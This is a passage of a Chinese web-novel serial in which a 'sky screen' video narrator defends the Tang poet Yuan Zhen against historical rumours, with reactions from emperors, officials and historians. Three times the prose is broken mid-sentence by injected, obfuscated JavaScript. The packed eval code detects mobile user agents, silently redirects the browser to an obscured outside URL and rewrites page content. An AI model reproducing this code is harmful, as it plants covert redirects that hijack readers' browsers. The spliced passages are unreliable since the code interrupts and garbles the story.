他先看见了一切的宏大威武,再看见了那首《秋来》:他竟感到细雨沾湿脸颊! 童子上来,身上干爽。 他叫着先生别哭! 李贺笑了,他的名声不只是现在被长安歌颂,后世人也不曾忘记他的才华。 他的诗……在他死后也是有人会去看的。 李纯身边多了一个来求见的宗正,宗正捧着李唐皇室族谱,恭敬呈上。 “陛下,这李贺,也是唐室后裔啊!如此捷才,不如……” 李纯伸手,接过身边人奉上的族谱翻看。 他说:“李贺有才,若他的才华能够考取进士,自然会成为朝廷一份子的。” 李纯自然知道宗正来做什么。真那么关心皇室后裔,为何李贺贫困宗正不接济,为何李贺考进士宗正不帮他说话? 宗正来他这里挂个号而已。 至于李贺…… 他期待着李贺能最终入他的眼,立足朝堂。 他假装听得清天幕歌中的缥缈语句,继续看着天幕。 【我们稍微扩展一点,再聊聊丹药的事。 李贺《苦昼短》里有一句“何为服黄金,吞白玉”,up也想这么质问元稹。 没错,元稹在武昌治水暴病而死,可能不只有操劳过度的原因,还有吃丹药的缘故。 白居易《思旧》中记录了元稹吃丹药的习惯,“微之炼秋石,未老身溘然”。 我们现代人都知道丹药里有很多化学物质,危害很大。北周武帝宇文邕甚至吃丹药把自己吃到砷、硼、锑、金等多种化学元素严重超标,把自己活成了一个巨大的化学反应堆,成功享年36岁。 所以up要继续质问所有吃丹药的,你们到底是想活着还是想早死啊!】 秦皇汉武愤怒的把方士关进了大牢。 嘉靖皇帝一边把方士关进大牢,一边亲自做法求神仙赐下延年益寿之术。 那些求丹问道的普通人则争先恐后扔了丹药,唯恐和丹药同处一室的时间长了点,自己会和天幕说的一样,变成一个“巨大的反应堆”。 虽然他们听不懂化学元素,听不懂“反应堆”,但后人的炼丹水平……化学水平肯定比他们高。后人都知道丹药是毒药,可见这丹药是大大的不祥! 郑兰芝深吸一口气,对着元稹,疾声厉色:“从今以后,我们家里人绝不许沾上丹药!” 10. 元稹(8) 【我们进入今天第二个谣言:元稹刺杀裴度。 虽然在我们这个娱乐时代,裴度这个人作为唐朝第一例当街杀宰相案——武元衡案的幸存者出名,但他在历史上其实是中唐一位很重要的宰相。 多重要呢? 德宗、顺宗、宪宗、穆宗、敬宗、文宗六朝老臣,宪宗、穆宗、敬宗、文宗四朝宰相,死后配享宪宗庙廷。 史称“社稷之良臣,股肱之贤相”。① 那这样一位名臣贤相,会和元稹擦出怎么样的火花呢?】 大唐的宰相,就在长安城里,被当街杀了? 天幕曾言,武元衡在元和二年到八年出镇剑南道,他成为宰相必定是在元和八年以后。 长安城的布防,竟然在元和八年以后依然是筛子。 李纯不会无视德宗朝藩镇军队攻入长安的旧事。他自己也差点死在那场被称为“泾源之变”的战乱中,自然知道那时的长安布防疏漏成了什么样。 他不能接受的,是他即位以来就定国策来强干弱枝、裁抑藩镇,却在元和九年以后连在长安保住大唐的宰相都做不到。 好一个“断头宰相”,好一个“当街杀宰相”! 这是把大唐皇室的面子压在地上踩! 是反贼(藩镇),还是阉奴? 他随后记下裴度的名字。 几朝老臣没什么值得注意的,现在朝堂上有几个不是三朝元老?但能配享他的庙廷,能被后人称为良臣贤相,这就不是一般人能做到的了。 他们理念相似。李纯想,他或许找到了一个很好的臣子。 武元衡终于看到了自己死亡,他再次摸了摸自己的脖子。 他不怕死,但这死法实在太出乎意料了些。他也能听出天幕的讲述应该是隐瞒了什么,以天幕稳重的讲述风格,它会以裴度的功绩而不是荣誉来论述裴度的贤能。 于是,他想,天幕所隐瞒的事,对现下有很大的影响。 天幕偏爱元白,元白《策林》认为抑藩镇销兵是正道,所以天幕勉强算朝廷一方的。 那裴度的“贤能”就应该与打击藩镇势力息息相关,天幕才会为了保下他刻意隐瞒消息。 手握着李纯给薛涛的正式校书郎任命,在驿道上听着天幕的新剑南节度使这样猜测。 他并不知道“up”与天幕不是一人,也不知道天幕放出的其实是up视频的剪辑版。 【元裴前期关系很好。他们有共同的伯乐裴垍,有共同的强唐理想,元稹甚至为了裴度仗义执言,从左拾遗被贬为河南尉。 但人事无常,元裴的分裂不只在于科举案,而他们越来越深的嫌隙被李逢吉利用,一石二鸟,元、裴二人罢相。 我们这一篇将通过元稹从虢州回朝后一路得罪人为线索,探索刺杀裴度的谣言真相,并讲述元稹这次在朝堂是如何与裴度结下大梁子的。】 河南府功曹裴度也在忙碌之余看着天幕。他也不停笔,只是疑惑。 裴度知道元稹,但他不知道为什么他们以后会决裂。他原先以为他们两个都是刚直有力的人,才会有李逢吉引诱分裂他们,让他们相互撞的头破血流。可如今看来,还有其他问题。 另一边的长安,“一路得罪人”几个字被天幕砸在韦夏卿的灵堂前,人们用不知所谓的眼神看向事件的主角。 微之……人还不错啊?他又不是什么又臭又硬的石头,也不好为人师喋喋不休,这样的人,为什么会一路得罪人啊? 这轮天幕听得元稹的亲友十分揪心,可也只有那样紧密的,彻底了解元稹性格和理想的亲人和朋友,才有机会从未知中窥得一抹。 微之刚直。白居易先是担忧,又挺起胸膛。 因为他们都一样,全天下有兴复大唐之志的少年,也是一样。 【首先,令狐楚向唐穆宗引荐了元稹的诗歌,元稹在被段文昌引荐负责起草诏令后,唐穆宗把元稹叫去给令狐楚写贬官通知。 可能是因为之前被贬二十多年,元稹的政见得不到声张,元稹选择先巩固圣宠,也可能是因为元稹心中对皇帝近乎愚忠的忠诚,他写了。 于是元稹获得第一批仇人——令狐楚、萧俛和皇甫镈等人的小团体! 当时的萧俛还是宰相哦!】 天幕这戏谑的语气让有意多交好元稹的人稍微收回了手脚。 他们是去交结未来有前途的人,不是去交结未来会多得罪人的人。虽然天幕中元稹只是得罪当朝一位宰相,尚有其他派系可以栖身,但天幕还说了要捋捋元稹得罪人的事情。 那他们听完这些事再决定要对元稹抱以怎么样的态度,这是非常正常的吧? 韦丛偶然听到元稹口中闪过一句话,却不清楚。她揉揉自己还在涌出泪水的眼睛,问:“微之,你说……什么?” 元稹这次听着天幕也是萎靡,明显是在灵堂里呆得久了。他也没多想,就将自己刚刚的话重复了一遍。 “朝廷里不该拉帮结派。” 【然后就是长庆元年科举案。 长庆元年科举,以宰相段文昌为首的派别和以宰相裴度为首的派别因为对进士名额分赃不均起了矛盾,吃亏了的段文昌要求重试。 段文昌是元稹此次入朝得宠的举荐人,元稹又看不惯科举舞弊,就支持了科举重试。 如果事情到此为止,这就只是一次进士名额再分配,一次心照不宣的高官分赃。 可是元稹并没有就此罢休,而是将矛头指向了朝廷朋党风气,以科举案为切入点,用穆宗名义发表《戒励风俗德音》,尖锐地揭露了腐败的朋党争夺。 于是,几乎朝廷所有人都被骂了一遍。 元稹也几乎得罪了全体官员。】 一些人开始思考要不要慢慢和元稹这个新交上的朋友减少交情。 现在的元稹已经不像上个月,翰林学士志得意满,是一个巨大的香饽饽。 他得罪人的本事实在太高,高到他们不敢和他继续交往,生怕哪一天就被连带着贬了。 元稹讶异于天幕的语言。科举之事干系重大,他家族没落,见得多了的是寒门学子出不了头,豪门贵族却轻松入仕,自然觉得维护科举公平是他未来身居高位时的应有之义。 如果当了高官还保不了真正的有才之士能够出头,他当高官还有什么意思呢? 郑兰芝一看他这表情,就知道他又在想什么了。 她走到元稹面前:“微之,你觉得以后的你如何?” “他经历了几十年贬谪,还能有这种心性,可见我坚守的出色。” “拟诏贬令狐楚如何?” “天子诏令必有其因,或许我也劝过,但纵然是恩公也不能不遵天命。” “《戒励风俗德音》如何?” “科举不能受制于权臣,党争不能再生于朝廷。” 郑兰芝长叹一口气,她这儿子,究竟算是养成了,还是养废了? 她想摸摸元稹的头,又碍于这是在灵堂前,只能又叹一口气: “微之,娘希望你能稍微学会点忍,不要对什么坏事都急着赶尽杀绝。 如果你没有用一篇《戒励风俗德音》把长安的官员得罪个遍,你是不是做宰相能做的稳一点,指令能实施的顺一点?那小人李逢吉,不就是抓了你和裴度的这个矛盾把你贬出了长安吗?” 看到元稹的神情慢慢凝重起来,郑兰芝知道他听进去了,笑笑,随后更严肃地说出她的看法。 “你正直,但过刚易折,得罪了大唐所有官员,毁了的是你自己的人生。 你做的是正确的事,但现实不允许你这样做。 你的未来应该是乘风破浪,不是因为太较真在哪个角落锐折锋摧。” 【接着是藩镇案。 裴度的儿子也在长庆元年科举复试被刷下来,再加上朋党事件,元稹在科举案把裴度得罪的死死的。 唐穆宗亲自出手给了裴度儿子一个进士的免考特招名额都没有让裴度回心转意。 随后元稹和裴度的矛盾就在河北平叛时尖锐爆发。 此次河北藩镇问题起源于朝廷对元和年间平叛者刘总对治理地方建议的漠视。之后长庆元年,节度使张弘靖不听中央命令,克扣军饷,作威作福,终于被哗变的军队所杀,轰轰烈烈的河北叛乱兴起。 按理说面对叛乱,朝廷应该拧成一股绳,可有觊觎宰相之位的“巧者”(可能是王播)蓄意挑起裴度和元稹的矛盾,跟裴度说元稹勾结宦官阻挠平叛。 于是裴度连上三疏弹劾元稹。 裴度弹劾元稹的奏章被史书当作正面例子引用,从此元稹被扣上了通宦通敌的帽子,这部分我们会在后面的“巧宦”章节讲述。 这里仅粗略举出叛乱前元稹的《处分幽州德音》,叛乱后元稹的《招讨镇州制》、《起复田布魏节度等使制》等文证明元稹当时致力于平叛。 经此一事,两人矛盾越发扩大。】 天幕讲的并不明确详尽。 文宗朝从越东被召回长安的元稹与从洛阳被召回长安的白居易同路,知己难得相逢。正倾杯痛饮,又恰巧来了天幕助兴,他们喜形于色,一边听天幕一边聊起了过去和朝廷。 准确一点说,应该是元稹开始骂朝廷,白居易在旁边安抚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988081|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “裴度?裴度懂什么河北!他当年又不在前线。田布临终遗言里只说了请朝廷救救深陷敌营浴血奋战的李光颜、牛元翼,是他裴度一直拥兵在旁边观望,我们大唐的忠臣良将才会被困到这种地步!他以前平定淮西的气魄呢?以前那个忠直有力的子厚哪儿去了?” “微之微之,先消消气,我们和子厚马上要同朝为官了……” “李景俭当年使酒骂座,骂得好啊!那些拉帮结派只为了自己的高官早该骂了!就因为宽中骂了几句,就要把他和他七岁的孩子一起贬到全是瘴气的漳州去,那裴度那王播那些恶心的家伙也太不要脸了!这不就是杀人吗?” 听到好友李景俭的名字,白居易也气愤起来。幸亏李景俭要被贬到漳州前,元稹当了宰相,全力营救才把李景俭改贬楚州。但之后李景俭不得志而死,还是因为这场宰相豪横引发的的闹剧! “就是,宽中他明明是和你一样含冤受屈……”可是即使大家都知道冤枉又怎么样呢? 大唐还在顺着官员们的私欲不断往深渊滑去。 他身边这个指天骂地的官员,就是所有正直有才、愿意和黑暗抵抗到底的官员缩影。 ……他陷入了后人无休止的造谣和辱骂。 【经过科举案和藩镇案,裴元矛盾逐渐水火不容,唐穆宗却在长庆二年让他们同居宰相之位。这就引来了有心人的侧目。 那“巧者”可以为了宰相之位挑拨裴度元稹,本来就有为一己私利阻挠淮西平叛前科的李逢吉又有什么不好意思动手的呢? 他看到了一个机会。 河北叛乱至今,叛乱主谋朱克融、王廷凑已经被赦免,裴度重新成为宰相,但当时孤军深入的牛元翼还被困在叛镇。元稹为了营救被困半年多的牛元翼军,意图通过反间计救人,和献计的于方等人来往紧密。 李逢吉看到这点,马上参了一本元稹命令于方谋刺裴度。 唐穆宗信了,派了查案三人组去处理这件事,三人组分别是:李逢吉、郑覃、韩皋。 ……李逢吉会不会认真审案子大家应该都能看出来,郑覃弟弟在科举案复试被刷下来了,韩皋以前当浙西观察使的时候被监察御史元稹惩办过私自杖杀安吉县令之过。 好家伙!这查案的,全是仇人! 后来假事成真,元裴罢相也就是一件很正常的事了。】 他其实并不希望元稹回朝,裴度想。 冤枉又怎么样呢?元稹回朝,就是一泓碧水注入朝堂里。 堕落的人们照着水镜,看到了年少激昂的自己,又怎么能不一拳把镜子打得粉碎呢? 被年少的自己叩问本心,没有人会愿意面对这样的灾难。 元稹乘了天幕和新帝的风,才能上青云,回长安,可他在长安又是什么?一个人人喊打的廉洁符号? 他无法随波逐流,就必然会被朝堂抛弃。 【元稹在朝中得罪的人看到这个机会也一拥而上,编造了元稹的各种谣言,生怕他不能被贬出长安。 白居易《元稹墓志》和吕思勉《隋唐五代史》评述都对元稹被泼了一身脏水感到冤屈、愤恨。 在这样的处境里,元稹会后悔吗? 或许就和他当时所作的《感事三首》一样: 为国谋羊舌,从来不为身。 此心长自保,终不学张陈。 自笑心何劣,区区辨所冤。 伯仁虽到死,终不向人言。 富贵年皆长,风尘旧转稀。 白头方见绝,遥为一沾衣。】 这次哭的是李世民。 他错了,他不该因为上次看元稹绯闻辟谣看的津津有味,就拉上全家拉上全朝一起看天幕。 现在他的眼泪已经被全家全朝都看到了,他从此再也不是他们心里英明神武的威严君王了。 “为国谋羊舌,从来不为身。” 李世民回味着这句话,把这样一个人放进前朝那乌七八糟的朝堂,只是微微一想,泪水就又流出眼眶。 那是怎么样的朝堂?皇帝昏庸,全朝所有官员拉帮结派,外面又起叛乱。 侍卫之臣懈怠于内,忠志之士绥靖于外。 那是未来的大唐,腐朽的、扭曲的大唐。 李世民站在时光河流之上,伸手想要触碰时间,却只能溅起一脸泪珠。 他救不了大唐,也救不了忠臣。 他只能哭:“元卿……魏卿啊,如果他生在现在,我必定好好用他……你是多妩媚的一面镜子,他就是多动人的一面镜子啊!” 可惜李世民并没有看到了长孙皇后温柔劝阻面目扭曲的魏征上谏的一幕。 11. 元稹(9) 【现在我们进入元稹最大的污点:勾结宦官。 没错,后人对元稹人品有所评价要么是先了解绯闻再带着有色眼镜去看他的经历,要么是根据史书记载给他安上“先正后邪”的帽子。这里“先正后邪”中的“邪”指的就是勾结宦官、因私废公。至于李贺什么的事情,毛毛雨啦~ 没有人在意元稹拜相前那流传了一千多年的通州“元九登高节”,也没有人在意元稹罢相后当同州刺史,同州百姓为他立了生祠。 当然,这里大家就要问了:元稹勾结宦官,这件被《旧唐书》、《新唐书》、《资治通鉴》都记录的事情,居然是假的吗? 对,是假的。 这些书里对于元稹勾结宦官的记录都有很严重的逻辑问题。】 “勾结宦官?”两个时空的元稹不愧为同一个人,竟然在同时露出了惊讶、厌恶与不屑并存的表情。 宪宗朝,元稹刚刚被母亲教导了一遍为人处世,又骄傲着自己一生坚守正义,却骤然听到这样一个荒谬的消息。 未来的事无从得知,但他可以保证,他为大唐百姓的心是诚的,此心不可转圜。他以后绝不会为了一己私利,和宦官内外朝勾结,结党营私。 文宗朝已经不再年轻的元稹和当年的李景俭一样借着酒意骂了一顿。他晕乎乎的脑袋先听到对他坚守的褒扬,正要感动的流泪呢,却马上被砸了这么一个大锅。 他指着自己问白居易:“我?宦官?” 他忘记了自己额前头发已经稀疏,费劲扒拉了一下自己的额头,最后指着头上的疤痕:“乐天,你说后人是不是不知道这疤是怎么来的,才这么敢说?” 他没有忘却那个雨夜,敷水驿外,雨水混着血水刺痛他被宦官无故鞭打出的伤疤。 白居易也没有忘记,那个夜晚元稹是怎么满身是血的来“叨扰”他,以及那天以后元稹是怎么样失魂落魄地被贬出京城。 和长庆二年宰相出京一样,无处伸冤。 “微之,后人有病。”一向温和的白居易这么说,“百年之后不可见,只先看着这山水吧。” “山水辜负不了你。” 那边百姓们纷纷祈祷遇上一个元稹一样的好官暂且不提。 停顿一下,天幕上显出一段简短的文章。 “荆南监军崔潭峻甚礼接稹,不以掾吏遇之,常征其诗什讽诵之。长庆初,潭峻归朝,出稹《连昌宫词》等百余篇奏御,穆宗大悦,问稹安在?对曰: ‘今为南宫散郎。’即日转祠部郎中、知制诰。” 【细分元稹勾结宦官这一谣言,我们又能分出“宦官崔潭峻引荐入朝”和“阻挠裴度平叛河北”两部分。我们就简称它们“崔潭峻案”和“藩镇案”,现在我们来一起查案。 先查崔潭峻案。 《旧唐书》成书于五代后晋年间,是记录元稹勾结宦官的三本史书里年代离元稹最近的。但它记载崔潭峻引荐的那短短五十字就能找出三个漏洞。 第一,元稹归朝迁祠部郎中、知制诰在元和十五年,而不是文中的“长庆初”,有元稹所作的诸多制诰佐证。 第二,唐宪宗晚年宫变,崔潭峻被归入“元和逆党”,死后几十年仍被清算,剖棺戮尸。可见崔谭峻参与了这一宫变,并成功扶持了唐穆宗。 但《旧唐书》写崔潭峻长庆初回朝,难道是他在长庆初参与了元和末的宫变,或杀了已经死了的唐宪宗? 众所周知,古代没有时光机器,死人也不能再死一次。所以崔潭峻归朝应该在元和末,而不是长庆初。】 李纯立即下令在宫里查这个叫崔潭峻的人。 宫中范围小,查找迅速,也不用担心这个崔潭峻换了名字逃亡。 这可是他的杀身仇人,找到以后直接杀了只怕还便宜了他呢! 可惜他在宫中寻找那陈弘志和王守澄,不知是没入宫还是怎么的,竟然找不到这两个“元和逆党”。 好在这两人弑君恶行没被天幕广布天下,未来应该还会以真名入宫。 这就方便他复仇了。 被贬朗州的永贞党人刘禹锡刚作了《武陵书怀五十韵》,正要塞进信封里寄给柳宗元,却听到好友叫他的声音。 “梦得,你看这最后一句‘南登无灞岸,旦夕上高原’,像不像你登上高原眺望长安,在为圣人被杀鸣冤?” 刘禹锡先是背后一凉,以为这刚在朗州结识的人要告他一状讽刺新帝冤杀先帝。 因为武陵有另一个名字——义陵。 这是项羽杀义帝楚怀王的地方,武陵人为怀王叫屈被杀,却引得全郡人披麻缟素,为武陵人哭冤。自此武陵就多了义陵这一个别称。 这项羽杀怀王,如果被影射成新帝杀先帝,那他在本朝的政治生涯大抵就此宣告结束了。 刘禹锡慢慢抬头,直到看到了友人那清澈无辜又带着纯然好奇的眼神后,才明白他说的是自己在为现在那个把他贬到这里的天子鸣冤叫屈。 刘禹锡:…… 你是不是忘了当年永贞革新的时候我在朝堂上意气风发自比伊尹、管仲?现在都被圣人贬到武陵来了,我干嘛对他这么好? 而且我是能未卜先知还是怎么的,在天幕说圣人被杀前就写好惋惜他被杀的诗文? 不过误会就误会吧,刘禹锡想。他还年轻,不想一辈子蹉跎在朝廷边缘。 当今圣人即位后,平定西川,听取贤臣建议,竟然把他们永贞年间定下的强唐目标推进了许多。 他垂眸看诗,诗中那一句“何幸逢休运,微班识至尊”显目至极。 【第三,元稹并非直接从膳部员外郎直升祠部郎中、知制诰。 根据白居易写的“尚书祠部郎中、知制诰、赐绯鱼袋元稹:去年夏,拔自祠曹员外、试知制诰......”①,元稹走的是膳部员外郎—祠曹员外—祠部郎中的正常升迁道路,他并不需要勾结宦官。 而且《旧唐书》和《资治通鉴》都说了唐穆宗当太子时就喜欢元稹的诗,那他注意到元稹并提拔难道还要崔潭峻来引荐吗? 作为一个老板兼追星族,难道你会雪藏那个你粉的,还签约了你家公司的顶流偶像吗? 另外,《旧唐书》连引荐元稹的是崔潭峻还魏弘简都没搞清楚。《元稹传》写的是崔潭峻,《裴度传》写的是魏弘简。 不过我们也没办法太过谴责《旧唐书》,真正要谴责的是《旧唐书》参考的原始文本。 啊,可恶的《穆宗实录》!你这本由牛党编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988082|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纂,把牛党干的脏事推到李党相关人员身上的原始文本,这本连支持牛党的司马光都看不下去的皇帝实录,真是活该失传啊!②】 这就是后来那个叫“唐”的国家修的史书? 春秋时的齐国大夫崔杼大笑,又觉得荒唐悲伤;齐国史官太史季一贯手中刻刀,在地上划出一道明显的白色。 他是该愤怒的。 太史季有三个哥哥,他们都是齐国的史官。崔杼杀了齐庄公,又用性命威胁他的哥哥们把齐庄公之死记录为病逝。他的哥哥们秉笔直书,最后一个个死在了崔杼的刀下。 即便如此,他还是在竹简上刻下了那几个字。 “崔杼弑其君”。 好在最后崔杼无可奈何地放弃了修改史书的想法,他守住了真相,也保住了一条命。 那未来人却为了一点利益,抛弃了史官的坚守,把应该记录的历史变成了随便捏造的泥娃娃! 有人来报,南史通来访。太史季整理衣冠,去迎接那位当年误以为他已经遭遇不幸,冒着杀身之祸来接替他写下历史真相的史官。 “不管后人如何,我们记录了我们的真相,就无愧于心。” 唐朝,负责编写《唐会要》的崔铉一惊。 查崔潭峻就查崔潭峻,骂《旧唐书》就骂《旧唐书》,可他看这天幕的架势,竟然好像要把事情扯到他身上。 崔铉是牛党的骨干,他的父亲崔元略曾经依靠交好崔潭峻成为户部侍郎。这交好还不是一般的交好,是到了他自己这个朝廷命官要叫崔潭峻这个阉人爷爷的程度!③ 所以他编纂《唐会要》时文思泉涌,把交好崔潭峻这一“罪证”按到了元稹的头上。 元稹不是和李党的李绅、李德裕交好吗?既然李绅、李德裕都被抹黑过了,元稹还能是洁白无瑕的吗?④ 皇帝也对这件事乐见其成。 现在的圣人否定了宪宗以后穆、敬、文、武四朝政治,认为这群人都是元和弑君之后留下的“逆党”,对相关人员大肆搜捕。他们在史书里指责穆宗朝一度受宠的元稹,简直就是上顺圣意,下击政敌,一举两得。 左右这未来的事又与现在唾手可得的权力有什么关系呢? 只是现在天幕这么说了,元稹没有勾结宦官就变成了大家都知道的事情,那些民间文人必定记录奇观。原来的抹黑,倒成了没用的东西。 【唐朝所有笔记小说里都没有发现元稹交结宦官的记录,而崔铉父亲崔元略却因为交结崔潭峻终身不得摆脱恶名。 由此上面几点可见,元稹交好宦官获封祠部侍郎、知制诰为假。 假的事情终究是假的。当你撒了一个谎,你就得撒更多的谎去避免逻辑错误。 中晚唐史料编辑就是这样。修史者带着私心,书写了不尽不实的历史。】 攀山越岭收集史料的司马迁击退山贼,宫中翻阅史书的班昭刻下竹简,向百姓问着名将轶事传说的范晔含笑记录。 听到天幕的话,历代史家抬头看去。 【可历史的真相终究要见见天日。即便过去了一千年,我们依然能通过逻辑错误推翻他们的不尽不实,以吉光片羽来管中窥豹,看到被掩埋在泥沙下,锈蚀在波涛中的真实。】 12.元稹(10) 【现在我们来讲藩镇案。 藩镇案的始末我们曾经在刺杀裴度篇讲过,那次是想要讲清楚藩镇案的过程和元稹得罪人的情况,这次我们就要好好讲讲为什么说元稹没有勾结宦官阻挠平叛了。】 李纯翻出刚才的随笔。按照天幕所说,河北叛乱的根源在元和朝,这就是他应该要注意的地方。 他需要注意着河北的动静,在刘总平定河北叛乱后去重视、去辨析他的建议。 天幕之前粗略举了元稹几篇文章当他终于朝廷的例子,此次定会细讲。他就在这里看看未来的元稹在这种国事上能达到什么水平。 ……碍于元稹刚被曝光的糟糕社交,他已经想把这个人放到御史台,或外放出京治理地方了。 【河北叛乱让唐穆宗措手不及,他重新启用田布作为魏博节度使,派牛元翼充当深冀节度使,原先的河东节度使裴度兼任幽镇两道招抚使,内常侍段文政监军郑滑、河东、许三道兵,救援深州。 所以整个个队伍是这样的。 监军:内常侍段文政 将领:魏博节度使田布、深冀节度使牛元翼、河东节度使兼幽镇两道招抚使裴度 以及我们本章要讲的外援:承旨学士元稹。】 “让宦官监军?” 元和元年,裴度皱着眉头,竟然放下了手中的文案工作,另寻了一张纸来。 唐朝自玄宗以来,宦官监军从未停止。即使出现了大宦官边令诚冤杀高仙芝、封常清,导致潼关失守,安禄山叛军攻入长安这等大事,宦官监军还是乘着安史之乱的风,成了大唐军旅的一个重要特色。 而宦官监军,甚至直接带兵,必然导致宦官集团的显赫跋扈。当年那个监军护驾起家的鱼朝恩能掘了名将郭子仪祖坟还全身而退,怎么能不令人震恐! 裴度在脑中构思些许,最终还是没有落笔。 写一篇奏疏,尤其是得罪一个大集团的奏疏,就要做到一击即中。他现在手头还有功曹的工作,一心多用,又能写出多好的奏疏呢? 【元稹做的工作是声援,比如写讨伐檄文、写任命节度使的圣旨等。 这里大家可能要问,写这些东西不是朝廷要求吗?你怎么能从这些工作要求中看出元稹全力支持平叛呢? 很简单,班味发言和带着一腔热忱积极主动写圣旨是完全不同的两种画风。 我们来看一下元稹写的文章。 “朕下为君父上奉祖宗,肆舟楫于鲸鲵,啖股肱于蛇豕。尚欲因循忍耻,僶免偷安,非唯伤心于田氏之子孙,亦将何颜谒先帝之陵庙?” ——《招抚幽州制》 元稹替穆宗捉刀,一篇招安叛军的文章里居然写到了穆宗应该惭愧于叛乱,无颜见先帝。虽然气势很足,但这是下级对上级写的,多少有点不要命的架势。 “《经》曰:‘父母之仇不同天。’虽及匹夫而犹寝苦枕干以期必报。是以子胥不徇伍奢之死,卒能发既藏之墓鞭不义之尸,取贵《春秋》,垂名万古。而况于身登将坛,父死人手,家仇国耻并在一门。当怀尝胆之心,岂侯绝浆之礼!金革无避,其在斯乎!” ——《授田布魏博节度使制》 连伍子胥鞭尸仇人都放到文章里了,大家看这气势,像是被迫写文吗?这明明是对叛军恶行恨之入骨啊!】 宋朝,李纲却翻出了裴度的奏折。 此时的他还没有作《梁溪集·靖康传信录》,认定元稹勾结宦官破坏平叛,靖康年间的那把火还没有跨越时间烧到他的身上,但他匡扶宋廷的经世志向已经经过对抗西夏军的锤炼,越发坚定。 天幕以元稹写檄文的气势证明他尽力平叛,在他看来是一件非常费解的事。裴度怒斥元稹与宦官魏弘简勾结的三份奏折,不是也写的掷地有声吗? 裴度有平淮西众节度使叛乱的功绩,才能成为他所敬佩和相信的人。那几封诏令,又怎么能认定元稹就是为平叛尽心尽力了? 只是天幕向来论据翔实,想是要取信于众人之故。 或许他的疑问马上能得到解答。 【这里大家就要问了,元稹写的好,裴度上书元稹勾结宦官阻挠平叛,也写得是为国为君不惜官位不爱性命啊?裴度这份真情流露,怎么到up嘴里就成了假的呢? 很简单,裴度那三篇奏疏里对元稹的弹劾,是站不住脚的。 第一,裴度上奏元稹在诏令中多次损害他的名声,是无中生有。 因为元稹这一时期写的《加裴度幽镇两道招抚使制》中这样夸赞裴度: “求思弭宁中夜有得:国有元老夫何患焉?用是亟宣恳恻之诚,就加招抚之命。” 他夸赞裴度是国家柱石,并且在河北平叛期间一直没有改变这个观念,那他还会在诏令中蛐蛐他认定的国家柱石吗? 离谱。】 李纲看到元稹在诏书中这段诚恳的赞扬,微微点头。 其实听天幕说了这么多,他也想到自己当初认为元稹是小人,是否是因为先入为主的坏印象呢? 元稹在同州时的《均田图》,被五代最优秀的君主柴荣所夸赞,又暗合宋朝不抑土地兼并形成的积弊,是应当好好阅览的“教材”。 可自己枉读了那么多年书,怎么就忽视了他为百姓做了那么多事,直接把他打成只顾私利的小人了呢? 父亲李夔看到儿子盯着天幕沉默,手边还放着裴度的《论魏弘简元稹疏》,自然猜到了儿子在想什么。 他走到书桌旁,笑着问李纲:“伯纪又在担心什么?觉得自己冤枉了元稹,想向他道歉?” “父亲,我总不能去坟前给他烧道歉的文章……他收不收得到还不知道。” 李夔和蔼地敲敲桌板,上面是笔架、砚台和几张凌乱摆放的纸。他见状眉头一皱,直到把纸一张张平稳叠上,没了一点旁逸斜出,才松了口气。 “既然你觉得以前的评价有错,就写一份现在对他的评价。今日有天幕轰动,来日如何,却还要看你们这代人的笔杆子啊!” 【第二,裴度说元稹阻止他从前线回到朝堂,对皇帝直接汇报平叛状况。 裴度处在河东,于长安一来一回需要至少二十天,而且唐朝有律令规定,藩镇要经过朝廷允许才能往长安朝见。 我们应该都能想到,河北局势何等危急,主将却要回朝,置他所统领的军队和配合的友军于不顾,这真的是正确的吗? 裴度这一重要统帅要回京,必然要经过皇帝准许。元稹和魏弘简真的能左右这件事吗? 第三,裴度指责元稹阻止节度使们与叛军作战。这件事我们刚刚用元稹拟的诏令反驳,此处不妨再加些砝码。 元稹《批刘悟谢上表》强烈指责了刘悟带兵在战场外徘徊不前的行为,鼓励他上阵平叛。 这与裴度对元稹的指责完全不合。】 自己真的是挤着时间看天幕的,裴度想。 这天幕挑什么时间现世不好?非要挑他工作正忙的时候! 他连自己未来的纰漏都听不真切,怎么改正那些错误啊! 好在裴度真算是天资聪颖,放下手里的笔边听天幕边思考,竟然把之前天幕的逻辑复盘了七七八八。 他不信自己会因为一些谣言而上疏这么一篇漏洞百出的文章。当时肯定还发生了什么事情,让他不得已这么做。 官场待了这些年,他见过很多见利忘义的大相公,他们做了多少恶,却还平稳地坐在尊位上。他上疏骂了他们的罪过,却被贬了。 ……如果不是不得已,就是未来的自己也成了这样糟糕的臣子。 文宗年间的裴度不知道自己让青年的自己抑郁成了什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011814|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仍然捋着胡子看天幕。 